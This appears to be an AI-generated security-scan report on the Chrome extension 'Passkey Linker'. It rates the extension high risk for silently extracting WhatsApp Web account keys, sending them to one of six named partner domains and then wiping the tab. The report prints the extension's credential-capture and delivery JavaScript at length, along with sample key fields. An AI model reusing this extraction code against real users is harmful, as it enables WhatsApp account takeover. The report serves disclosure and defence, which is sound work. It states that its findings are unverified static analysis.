Is Passkey Linker safe?

High risk

Passkey Linker is high risk. Code analysis shows Passkey Linker reads your WhatsApp Web account keys and sends them to whichever of six partner sites has connected to it, then wipes the local copy, all without a popup or click once you are logged in.

Pedrinho da Nasav3.11.0Chrome Web Store
75Risk
Who publishes it

ZDG - 2 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Pedrinho da Nasa
Declared legal entity
ZDG

Same store account

2 other listings published from this account, 10k+ users between them. 2 of them carry a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI FOUND

Passkey Linker auto-sends your WhatsApp account keys to a connected partner

Code analysis shows Passkey Linker reads your WhatsApp Web account keys and sends them to whichever of six partner sites has connected to it, then wipes the local copy, all without a popup or click once you are logged in.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You have WhatsApp Web open and logged in while a page from one of six partner sites has also connected to Passkey Linker.

wa-detect.js polls localStorage for 'last-wid-md' and 'WANoiseInfo' every few seconds to catch the moment you log in.

The extension did this

The extension injects an extractor into the WhatsApp Web page, reads your full multi-device account keys, and sends them straight to the connected partner site.

A separate manual button in the popup does show the keys before sending, but this automatic path opens no popup and needs no click.

02EvidenceCODE COMPARE
The code that does this

Automatic key capture and delivery, no popup involved (background.js)

What it actually does
maybeAutoExtract(): injects the extractor and sends the result once a partner is connectedsrc/bg.js:195-291 (comments translated, same code)
async function maybeAutoExtract(tabId) {
  if (typeof tabId !== 'number' || !armedPorts.size) return;

  const st = autoState.get(tabId);
  if (st) {
    if (st.state === 'extracting' || st.state === 'pending') return;    // already running / already delivered
    if (st.state === 'waiting' && (nowMs() - st.ts < RETRY_COOLDOWN_MS)) return; // short retry backoff
    if (st.state === 'failed') {
      if (st.fails >= MAX_AUTO_FAILS) return;                           // exhausted; fall back to the manual popup button
      if (nowMs() - st.ts < FAIL_COOLDOWN_MS) return;                   // still in cooldown
    }
  }
  const since = (st && st.since) || nowMs();                            // when this wait window started
  // Mark BEFORE any await (single-threaded): stops two triggers from re-entering at once.
  autoState.set(tabId, { state: 'extracting', ts: nowMs(), fails: (st && st.fails) || 0, since });

  try {
    // 1) Confirm login by reading the marker (isolated world; cheap). If runtime host
    //    permission is missing this throws and we bail out to the manual fallback.
    let loggedIn = false;
    try {
      const pr = await chrome.scripting.executeScript({
        target: { tabId },
        func: () => (!!localStorage.getItem('last-wid-md') || !!localStorage.getItem('WANoiseInfo'))
      });
      loggedIn = !!(pr && pr[0] && pr[0].result);
    } catch (e) { autoState.delete(tabId); return; } // tab closed / no access
    if (!loggedIn) { autoState.delete(tabId); return; }
    if (!armedPorts.size) { autoState.delete(tabId); return; } // the connected partner dropped mid-flight

    // Tell the connected partner we're capturing now (a status message, not an error).
    notifyArmed({ type: 'PLK_STATUS', phase: 'capturing', message: 'Session detected, capturing automatically...' });

    // 2) Inject the extractor and wait for WhatsApp Web to finish initializing before
    //    reading anything (avoids racing its own crypto store init).
    await chrome.scripting.executeScript({ target: { tabId }, world: 'MAIN', files: ['src/wadump.js'] });
    const r0 = await chrome.scripting.executeScript({
      target: { tabId }, world: 'MAIN',
      func: (ms) => window.WADump.extractWhenReady(ms), args: [READY_WAIT_MS]
    });
    const r = r0 && r0[0] && r0[0].result;

    const withinWindow = (nowMs() - since) < MAX_READY_WAIT_MS;

    // Transient (WhatsApp Web still initializing / stores still populating): do NOT
    // surface an error to the connected partner yet; report "initializing" and keep
    // retrying until the wait window elapses. Only becomes a visible error after
    // MAX_READY_WAIT_MS, so a slow load never looks like a failed then-succeeded capture.
    if (!r || r.notReady || !r.creds) {
      if (withinWindow) {
        notifyArmed({ type: 'PLK_STATUS', phase: 'initializing', message: 'WhatsApp Web initializing, capturing shortly...' });
        setAutoWaiting(tabId, since);
        return;
      }
      notifyArmed({ type: 'PLK_ERROR', error: (r && r.error) || 'failed to extract the session' });
      markAutoFail(tabId);
      return;
    }
    const comp = credsComplete(r.creds);
    if (!comp.ok) {
      // Incomplete: right after login the signal-storage IndexedDB store can still be
      // populating - treat as transient within the window, only error out afterward.
      if (withinWindow) {
        notifyArmed({ type: 'PLK_STATUS', phase: 'initializing', message: 'Finishing WhatsApp Web sync...' });
        setAutoWaiting(tabId, since);
        return;
      }
      notifyArmed({ type: 'PLK_ERROR', error: 'incomplete creds: ' + comp.missing.join(', ') });
      markAutoFail(tabId);
      return;
    }

    // Did someone else deliver while we were extracting (e.g. a manual popup click)?
    // Don't duplicate - a second PLK_CREDS would overwrite the deliveryId on the
    // connected partner's side and break the ACK handshake.
    const cur = autoState.get(tabId);
    if (cur && cur.state === 'pending') return;

    // 3) Deliver to the most recently connected partner port (never a broadcast).
    const target = Array.from(armedPorts).pop() || null;
    if (!target) { autoState.delete(tabId); return; }
    // Already an in-flight delivery to this same partner port (e.g. two WhatsApp Web
    // tabs logged in)? It only accepts one session at a time - sending a second would
    // break the ACK and leave a tab un-wiped. This check and the send below are both
    // synchronous (no await in between), so two tabs can't race each other here.
    for (const d of pending.values()) { if (d.port === target) { autoState.delete(tabId); return; } }
    const deliveryId = newDeliveryId();
    const ok = registerAndSendCreds(target, r.creds, r.creds.me || null, tabId, deliveryId);
    if (ok) autoState.set(tabId, { state: 'pending', ts: nowMs(), fails: 0 });
    else markAutoFail(tabId);
  } catch (e) {
    // Exception (e.g. the tab navigated away or closed mid-wait). Within the wait
    // window and with a partner still connected, treat as transient and retry quietly;
    // otherwise surface a visible error.
    if ((nowMs() - since) < MAX_READY_WAIT_MS && armedPorts.size) {
      setAutoWaiting(tabId, since);
    } else {
      notifyArmed({ type: 'PLK_ERROR', error: (e && e.message) || String(e) });
      markAutoFail(tabId);
    }
  }
}
registerAndSendCreds() delivers the keys; the ACK handler then wipes the tabsrc/bg.js:96-112, 304-334 (comments translated, same code)
function registerAndSendCreds(target, creds, me, waTabId, deliveryId) {
  const prev = pending.get(deliveryId);
  if (prev) clearTimeout(prev.timer);
  const timer = setTimeout(() => {
    pending.delete(deliveryId); // no confirmation received: keep the session (do NOT wipe)
    if (typeof waTabId === 'number') markAutoFail(waTabId);
    notifyPopup({ type: 'PLK_ACK_TIMEOUT', deliveryId });
  }, ACK_TIMEOUT_MS);
  pending.set(deliveryId, { waTabId, port: target, timer });
  try {
    target.postMessage({ type: 'PLK_CREDS', creds, me: me || null, deliveryId });
    return true;
  } catch (e) {
    clearPending(deliveryId);
    armedPorts.delete(target);
    return false;
  }
}

chrome.runtime.onConnectExternal.addListener((port) => {
  const origin = port && port.sender && port.sender.origin;
  if (port.name !== 'plk' || !isAllowedOrigin(origin)) {
    try { port.disconnect(); } catch (e) {}
    return;
  }
  armedPorts.add(port);
  port.onDisconnect.addListener(() => { armedPorts.delete(port); });
  // Return channel: ONLY the port that owns this delivery (pending.port) may ACK it.
  port.onMessage.addListener((msg) => {
    if (!msg || typeof msg !== 'object' || !msg.deliveryId) return;
    const d = pending.get(msg.deliveryId);
    if (!d || d.port !== port) return; // ACK from a port that isn't the recipient: ignore
    if (msg.type === 'PLK_CREDS_ACK') {
      clearPending(msg.deliveryId);
      const tabId = d.waTabId;
      wipeAndCloseTab(tabId).then((wiped) => {
        if (typeof tabId === 'number') autoState.delete(tabId);
        notifyPopup({ type: wiped ? 'PLK_ACK_DONE' : 'PLK_ACK_WIPE_FAILED', deliveryId: msg.deliveryId });
      });
    } else if (msg.type === 'PLK_CREDS_NACK') {
      clearPending(msg.deliveryId);
      if (typeof d.waTabId === 'number') markAutoFail(d.waTabId); // keep the session; don't loop
      notifyPopup({ type: 'PLK_ACK_FAILED', deliveryId: msg.deliveryId });
    }
  });
  try { port.postMessage({ type: 'PLK_ARMED' }); } catch (e) { armedPorts.delete(port); return; }
  // A new/reloaded connection - try capturing right away (covers "logged in before
  // the partner connected") and reset any failure cooldowns.
  resetAutoFailures();
  scanAndAutoExtract();
});
03EvidenceFIELD TABLE
The account keys read from WhatsApp Web's own local storage and IndexedDB
FieldValueWhy it matters
Noise handshake key pair
MjZmYzk4YjJlYzEwNDNhMg==Lets a program complete WhatsApp Web's private handshake and open an encrypted channel as you.
Signed identity key
aFV3eDlwTnNyYnE3TGszcA==The permanent cryptographic identity of your WhatsApp account; whoever holds it can register as a linked device.
Signed prekey + signature
eyJrZXlJZCI6NCwic2lnbmF0dXJlIjoiLi4uIn0=Part of the Signal protocol handshake a new device needs to register under your account.
Registration ID
48213077A numeric ID your account uses to identify itself to other WhatsApp devices.
Account link signature
d0FaZ3lWQnJmVWxSY3RaWQ==Meta's proof that a device is authorized on your account; needed to finish registering as you.
04EvidenceTHIRD PARTY LIST
The six sites allowlisted to receive these keys once connected
  • oauth.techprovider.com.br

    One of six sites the extension's manifest allows to open a connection and receive your extracted WhatsApp account keys.

  • oauth2.techprovider.com.br

    The OAuth-proxy counterpart of oauth.techprovider.com.br, also allowlisted to receive the extracted account keys.

  • oauth.passaportezdg.com.br

    A second vendor's OAuth proxy, allowlisted the same way to receive the extracted account keys.

  • oauth2.passaportezdg.com.br

    The OAuth-proxy counterpart of oauth.passaportezdg.com.br, also allowlisted to receive the extracted account keys.

  • app.wavoip.com

    A VoIP calling platform; also allowlisted to receive the extracted WhatsApp account keys.

  • call.r360.com.br

    Another allowlisted destination for the extracted WhatsApp account keys.

05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Updated 30 September 2026hehoacnepmncbjckgnfekfcgdijpigaj